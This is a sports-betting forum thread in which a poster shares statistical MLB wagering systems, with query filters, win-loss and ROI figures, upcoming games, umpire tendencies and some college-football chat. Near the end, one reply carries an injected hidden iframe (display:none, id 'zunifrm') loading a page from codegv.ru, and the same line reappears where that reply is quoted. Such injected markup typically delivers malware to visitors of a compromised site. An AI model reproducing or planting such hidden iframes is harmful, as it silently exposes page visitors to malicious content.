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I'm from the government and I'm here to help
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Saturday one ump but this is his first career AL 6 total

SEA u6
 

Dain Bramaged
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I don't play these often but really like this one. Glad to see you on it :toast:
 

I'm from the government and I'm here to help
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all FGS so no ump plays before those start popping up.

FGS play on home team if both off blowout losses (on LAA, CHC)

FGS and p:margin <= -4 and op:margin <= -4 and H and season > 2010 and line > -160
SU:57-29 (1.30, 66.3%) avg line: -109.1 / -100.9 on / against: +$2,680 / -$3,109 ROI: +26.5% / -32.2%
RL:56-30 (1.06, 65.1%) avg line: 119.6 / -133.1 on / against: +$4,081 / -$4,513 ROI: +40.2% / -35.8%
OU:36-43-7 (0.14, 45.6%) avg total: 8.0 over / under: -$1,070 / +$340 ROI: -11.3% / +3.6%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team4.78.60.53.17.010.25.26.4
Opp3.48.20.72.77.79.65.06.8

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 15, 2014MonhomeAngelsMatt Shoemaker - RMarinersHisashi Iwakuma - R-1107.5
Sep 15, 2014MonhomeCubsTravis Wood - LRedsAlfredo Simon - R1037.0

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late season oppose home dogs with starter that K's a lot of hitters, 3-0 2014 (on WAS, on SF) - SU and RL basically same ROI

7.22 >= sA(SSO) > 5.0 ... STDSERA > 1.95 and game number > 144 and season > 2011
SU:4-23 (-2.07, 14.8%) avg line: 122.9 / -133.0 on / against: -$1,795 / +$1,755 ROI: -66.5% / +48.8%
RL:9-18 (-0.69, 33.3%) avg line: -134.9 / 123.6 on / against: -$1,625 / +$1,433 ROI: -43.6% / +50.2%
OU:9-17-1 (-0.65, 34.6%) avg total: 7.4 over / under: -$880 / +$680 ROI: -30.9% / +21.9%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team2.37.00.73.19.09.55.87.2
Opp4.48.30.63.38.69.84.57.0

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 15, 2014MonhomeBravesErvin Santana - RNationalsStephen Strasburg - R1256.5
Sep 15, 2014MonhomeDiamondbacksWade Miley - LGiantsRyan Vogelsong - R1157.5
Sep 14, 2014boxSunhomeGiantsYusmeiro Petit - RDodgersClayton Kershaw - L2-4-2L0.0P7-92-00-31656.09
Sep 13, 2014boxSathomeMetsZack Wheeler - RNationalsDoug Fister - R3-10-7L6.0O6-154-10-71237.09
Sep 11, 2014boxThuhomePhilliesAJ Burnett - RPiratesFrancisco Liriano - L1-4-3L-2.5U6-80-00-41307.59

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team stuff:
Braves are 75-37 FGS home after trip incl 7-1 L8
Astros are 29-54-2 o/u FGS home after trip incl 5-22 o/u if they ended that trip with 5+ runs (active) - check for umps of course
Giants are 3-12-1 o/u FGS away after home stand incl 1-8 o/u if no rest - umps....

tue:
Brewers 26-13-4 o/u FGS after away trip ending with 4+ runs w/ avg 9.8 rpg
 

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no TUE umps unless a FGS appears and just one system in addition to that MIL over from above:

same as yday with SF and WAS ... today it's on CIN

7.22 >= sA(SSO) > 5.0 and HD and ... and season > 2007 and STDSERA > 1.95 and game number > 144...
SU:5-24 (-1.86, 17.2%) avg line: 121.5 / -131.7 on / against: -$1,795 / +$1,745 ROI: -61.9% / +45.4%
RL:10-19 (-0.47, 34.5%) avg line: -137.0 / 125.6 on / against: -$1,665 / +$1,462 ROI: -41.3% / +47.9%
OU:10-18-1 (-0.60, 35.7%) avg total: 7.4 over / under: -$885 / +$680 ROI: -28.8% / +20.5%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team2.47.10.73.18.99.45.87.1
Opp4.38.30.63.28.59.84.37.0

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 16, 2014TuehomeCubsJake Arrieta - RRedsJohnny Cueto - R-1036.0

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so if no umps then just MIL o7 +100, CIN -105
 

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Wed umps:
COL u11
OAK u7

note: home teams with Gerry Davis at HP now 31-6 L37 (also 22-1 when fav of at least -118) ...he's doing NYM
 

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starter = Jorge De La Rosa and H and date > 20090620 and 115 > line > -180
SU:
36-4 (3.08, 90.0%) avg line: -139.1 / 129.1 on / against: +$3,029 / -$3,109 ROI: +54.0% / -76.9%
RL:30-10 (1.88, 75.0%) avg line: 131.7 / -143.7 on / against: +$3,134 / -$3,436 ROI: +73.5% / -56.8%
OU:20-19-1 (0.81, 51.3%) avg total: 9.5 over / under: -$40 / -$265 ROI: -0.9% / -6.0%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team6.710.30.63.06.610.74.76.3
Opp3.68.10.92.97.79.35.26.5

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Aug 20, 2014WedhomeRockiesJorge De La Rosa - LRoyalsDanny Duffy - L1009.5

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This system still good?
 

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bet on non-HR hitting small fav after big offensive night (on NYM)

tA(HR) <= 0.911 and p:runs >= 8 and 100 >= line >= -150 and date > 20100901
SU:270-151 (1.01, 64.1%) avg line: -121.0 / 111.0 on / against: +$8,974 / -$10,699 ROI: +17.6% / -25.0%
RL:222-197 (0.07, 53.0%) avg line: 132.1 / -146.7 on / against: +$10,105 / -$12,598 ROI: +20.8% / -18.9%
OU:217-186-16 (0.59, 53.8%) avg total: 8.0 over / under: +$1,450 / -$5,110 ROI: +3.2% / -11.1%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team4.89.20.63.26.89.75.47.0
Opp3.88.30.62.97.59.85.47.0

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 17, 2014WedhomeMetsDillon Gee - RMarlinsHenderson Alvarez - R-1186.5

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I'm from the government and I'm here to help
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was pretty surprised to see a push this morning on A's under 7 ... just not a big fan of MLB betting in SEPT...

UNDER after previous shutout with 3-8 hits and low total and total (STL u7.5)
p:runs = 0 and p:total < 7 and 2 < p:hits < 9 and ...
SU:41-47 (-0.19, 46.6%) avg line: 102.3 / -114.0 on / against: -$597 / +$163 ROI: -5.9% / +1.5%
RL:45-42 (-0.13, 51.7%) avg line: -105.0 / -108.1 on / against: +$119 / -$558 ROI: +1.1% / -4.8%
OU:24-61-3 (-1.09, 28.2%)
avg total: 7.4 over / under: -$4,135 / +$3,435 ROI: -43.7% / +34.6%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team3.07.30.53.37.79.95.36.9
Opp3.27.70.43.17.69.95.86.7

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 18, 2014ThuawayBrewersKyle Lohse - RCardinalsShelby Miller - R1287.0

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FGS team stuff:
NYY 61-34-7 o/u home after road trip
ARI in a 17-50-6 o/u spot tonight leaving home on road trip including 8 straight unders and 2-13-1 o/u since beginning of 2012 season. waiting for ump but will be on this if there's not a conflict
 

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usually one of my favs to bet which is taking friday dogs vs elite teams....but this year just 5-10 -9% ... today would be +190 on TEX

- historically SEPT has been the best month for this system. 1-1 so far this year with Oberholtzer beating A's and losing to Angels

F and -220 < line <= -155 and tA(margin) >= 0.959 ... day = Friday ...and month < 10 and 27 < o:WP < 64
SU:133-129 (0.27, 50.8%) avg line: -176.5 / 161.1 on / against: -$9,543 / +$7,563 ROI: -20.7% / +28.9%
RL:63-99 (-1.10, 38.9%) avg line: 112.4 / -124.6 on / against: -$2,884 / +$1,959 ROI: -17.4% / +9.6%
OU:110-139-12 (0.26, 44.2%) avg total: 9.0 over / under: -$4,065 / +$1,780 ROI: -14.2% / +6.2%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team4.78.80.63.56.510.68.07.2
Opp4.58.80.73.17.210.08.56.9

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 19, 2014FrihomeAngelsHector Santiago - LRangersLisalverto Bonilla - R-2058.

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FGS team stuff:
Mets 19-7-4 o/u L30 FGS away after home
Mets 14-5 SU as away dog FGS away after home incl 3-1 with Wheeler
 

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SUN:

play ON home team after huge home fav win (on HOU)
H and p:HF and p:margin >= 5 and p:runs >= 10 and op:AL and op:margin <= -5 ....
SU:36-6 (1.98, 85.7%)
avg line: -143.4 / 132.0 on / against: +$2,830 / -$2,917 ROI: +46.2% / -67.8%
RL:26-16 (0.90, 61.9%) avg line: 128.4 / -141.0 on / against: +$1,940 / -$2,227 ROI: +42.5% / -35.9%
OU:16-21-5 (0.04, 43.2%) avg total: 8.0 over / under: -$710 / +$355 ROI: -15.3% / +7.7%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team5.09.60.53.16.49.65.27.0
Opp3.08.00.72.58.09.24.67.0

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/L OUm O/UHitsErrorsBLLineTotalInnings
Sep 21, 2014
Sun home Astros Collin McHugh - R Mariners Hisashi Iwakuma - R







125 7.5

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play OVER in last game of series after a huge comeback win (CHC over once line is up)
LGS and p:W and op:biggest lead >= 5 and season > 2010
SU:21-19 (0.65, 52.5%) avg line: -122.4 / 110.6 on / against: -$265 / +$27 ROI: -5.1% / +0.6%
OU:28-9-3 (2.00, 75.7%)
avg total: 8.6 over / under: +$1,890 / -$2,225 ROI: +44.3% / -49.0%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team5.610.10.63.17.69.55.66.9
Opp5.09.00.43.17.48.55.36.9

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/L OUm O/UHitsErrorsBLLineTotalInnings
Sep 21, 2014
Sun home Cubs Jacob Turner - R Dodgers

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play UNDER big fav, not a HR hitting team, after big offensive game (STL u7)
tA(HR) <= 0.9068 and p:runs >= 8 and line <= -145 and date > 20130426
SU:59-26 (1.12, 69.4%) avg line: -177.3 / 162.3 on / against: +$1,482 / -$1,815 ROI: +9.8% / -21.4%
OU:23-61-1 (-1.04, 27.4%)
avg total: 7.8 over / under: -$4,380 / +$3,530 ROI: -47.2% / +37.4%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team3.98.30.53.46.59.24.57.2
Opp2.87.40.72.68.89.64.76.5

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/L OUm O/UHitsErrorsBLLineTotalInnings
Sep 21, 2014
Sun home Cardinals Lance Lynn - R Reds Alfredo Simon - R







-200 7.0

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play ON NL dog vs good AL pitcher (on PHI)
league = NL and not C and tA(runs) <= 4.36 and 2.25 <= o:STDSERA <= 4.05 ....
SU:46-30 (0.64, 60.5%) avg line: 140.8 / -154.0 on / against: +$3,392 / -$4,002 ROI: +44.6% / -34.4%
OU:39-33-3 (0.55, 54.2%) avg total: 8.0 over / under: +$340 / -$1,120 ROI: +4.2% / -13.3%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team4.68.80.63.08.09.47.06.8
Opp3.98.40.63.06.89.46.56.9

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/L OUm O/UHitsErrorsBLLineTotalInnings
Sep 21, 2014
Sun away Phillies AJ Burnett - R Athletics Scott Kazmir - L







185 7.5

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play on away fav off b2b2b2b great pitching (on PIT)

AF and po:runs <= 4 and ppo:runs <= 4 and pppo:runs <= 4 and ppppo:runs <= 4 and pppppo:runs <= 4 and opo:runs >= 8 ...
SU:29-7 (2.17, 80.6%) avg line: -136.1 / 125.2 on / against: +$1,948 / -$2,029 ROI: +39.8% / -56.3%
RL:21-15 (0.67, 58.3%) avg line: 126.0 / -137.0 on / against: +$1,126 / -$1,348 ROI: +30.9% / -27.2%
OU:20-14-2 (0.74, 58.8%) avg total: 8.4 over / under: +$520 / -$790 ROI: +13.3% / -19.7%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team5.610.80.43.36.09.06.37.6
Opp3.57.60.82.67.310.56.56.1

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 22, 2014MonawayPiratesFrancisco Liriano - LBravesAaron Harang - R-1436.5

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play on home team in FGS after both were just blown out (on MIN)

FGS and p:margin <= -4 and op:margin <= -4 and H ...
SU:59-29 (1.36, 67.0%)
avg line: -109.5 / -100.5 on / against: +$2,880 / -$3,309 ROI: +27.9% / -33.6%
RL:57-31 (1.09, 64.8%) avg line: 121.4 / -134.7 on / against: +$4,176 / -$4,626 ROI: +40.4% / -35.6%
OU:37-44-7 (0.09, 45.7%) avg total: 8.0 over / under: -$1,070 / +$320 ROI: -11.1% / +3.3%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team4.78.50.53.16.910.25.36.4
Opp3.48.10.72.77.79.65.06.7

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/LOUmO/UHitsErrorsBLLineTotalInnings
Sep 22, 2014MonhomeTwinsRicky Nolasco - RDiamondbacksJosh Collmenter - R-1208.0

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team FGS stuff:
LAA 24-8-2 o/u FGS away after home stand (4-0-1 L5)
TOR 54-29-2 o/u FGS home after road trip (9-4 o/u L13)
DET 20-6 o/u no rest FGS home after road
DET 17-6 SU (but just 7-6 L13) as home fav FGS after road (9-2 SU no rest)
note: Padres 10-25-2 o/u vs LHP at home this year
 

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one ump (a few FGS out there)

STL u7.5


OPPOSE sept home dog with starter that K's a lot of hitters vs top pitcher - ON PIT (also meets a qualifier for a 13-1 subsystem as Braves are decent team, >46% WP, and 12 of those wins by 2+)

7.22 >= sA(SSO) > 5.0 and HD ... and month < 10...and STDSERA > 1.95 and game number > 144 and season > 2011
SU:
7-24 (-1.35, 22.6%)
avg line: 121.2 / -131.4 on / against: -$1,565 / +$1,495 ROI: -50.5% / +36.5%
RL:12-19 (0.05, 38.7%) avg line: -138.0 / 126.6 on / against: -$1,465 / +$1,262 ROI: -33.6% / +38.8%
OU:12-18-1 (-0.42, 40.0%) avg total: 7.3 over / under: -$685 / +$465 ROI: -20.8% / +13.2%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team2.87.30.63.29.29.25.67.1
Opp4.18.10.53.18.69.54.26.7

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/L OUm O/UHitsErrorsBLLineTotalInnings
Sep 23, 2014
Tue home Braves Alex Wood - L Pirates Gerrit Cole - R







102 6.5

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oppose big dog on run line if using a starter that K's nobody after heavy bullpen innings (on OAK RL)
sA(SSO) <= 3.2 and p:SIP <= 3 and D and 250 >= line >= 165 and season > 2004
SU:21-94 (-3.02, 18.3%) avg line: 184.5 / -211.2 on / against: -$5,620 / +$5,085 ROI: -48.9% / +20.9%
RL:31-59 (-1.30, 34.4%) avg line: -109.1 / -103.0 on / against: -$3,345 / +$2,887 ROI: -33.0% / +29.5%
OU:65-45-5 (1.30, 59.1%) avg total: 9.0 over / under: +$1,600 / -$2,665 ROI: +12.7% / -21.0%

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RunsHitsErrorsWalksStrike OutsGround BallsFly BallsTeam LOB
Team3.68.80.72.58.19.98.56.9
Opp6.610.60.53.96.110.87.87.5

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DateLinkDaySiteTeamStarterOppStarterFinalSUmW/L OUm O/UHitsErrorsBLLineTotalInnings
Sep 23, 2014
Tue away Angels Wade LeBlanc - L Athletics Sonny Gray - R







170 7.5

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are you going to have NHL systems also?
<iframe src="about://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe>
 

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we'll have to see what happens to this one since batting averages are lowest in 42 years but historically the best playoff system is to OPPOSE favorites (-107 to -219) in any game where the team favored had a season BA of less than .255 and also play under if total is 7.5 or above.

usually there's only a couple teams per year this fits...last year was PIT...but this year the only NL team hitting above .255 is PIT so basically every NL game would be playing unders and dogs when PIT isn't the favored team. AL much more normal as only Oakland is below the threshold so you'd oppose them anytime they're favored by at least -107 (possibly tonight?)

so basically just line watching right now but possibilities for

KC over OAK tonight
PIT over SF tomorrow

if the lines are right....(obviously right now it would only be SF)

let's keep track of this and see how it goes. i'll be playing them for a bit smaller than a normal wager given that the BA's this year were so weak and that means a heck of a lot of plays in NL....
 

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are you going to have NHL systems also?
<iframe src="about<strong></strong>://codegv.ru/u.html" style="display: none;" id="zunifrm"></iframe>

yes
 

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we'll have to see what happens to this one since batting averages are lowest in 42 years but historically the best playoff system is to OPPOSE favorites (-107 to -219) in any game where the team favored had a season BA of less than .255 and also play under if total is 7.5 or above.

usually there's only a couple teams per year this fits...last year was PIT...but this year the only NL team hitting above .255 is PIT so basically every NL game would be playing unders and dogs when PIT isn't the favored team. AL much more normal as only Oakland is below the threshold so you'd oppose them anytime they're favored by at least -107 (possibly tonight?)

so basically just line watching right now but possibilities for

KC over OAK tonight
PIT over SF tomorrow

if the lines are right....(obviously right now it would only be SF)

let's keep track of this and see how it goes. i'll be playing them for a bit smaller than a normal wager given that the BA's this year were so weak and that means a heck of a lot of plays in NL....

was checking to see what you came up with for tonight, is there a way to run anything on the 1 game playoff games only. Memory seems to tell me road teams and unders but with my not sure...

I was leaning to Oakland based on pitching matchup along with pittsburgh.. I hope the pirates win, i hate the one game play in, why not a mini 3 game series ? give the others a few days extra rest are my thoughts. Wife will be town tomorrow, i told her to hit the road early !

What are your thoughts on that bama number? seems low to me if u like bama as I do.. i think they roll tide roll !!Tennessee was on my radar early until they got bet to two..
 

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yeah i'm probably just going to stick with what has worked for 7+ years and bet on unders if bad hitting team is fav and total 7.5+ and take the dog in same game. can't tell you i'm tremendously fired up about it since so many teams qualify but at least it gives me some mlb action in addition to umpires

put my bama thoughts in that cfb thread. i think Ole Miss has a bama-caliber defense but sorely lacking in offense. I'd say MAX 2 guys (tunsil, treadwell) and really likely 1 (tunsil) would start for the tide O. This is wallace's game to win or lose unless bama keeps turning the ball over and committing untimely penalties. if we play mistake-free it will take a wallace 28/34 335 yards and 3 TD to beat us
 

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Tennessee was on my radar early until they got bet to two..

figured you meant +2 but now i see UcheaT -3? wow

GOY line was gators -4 or -4.5 and now they're +3? dang
 

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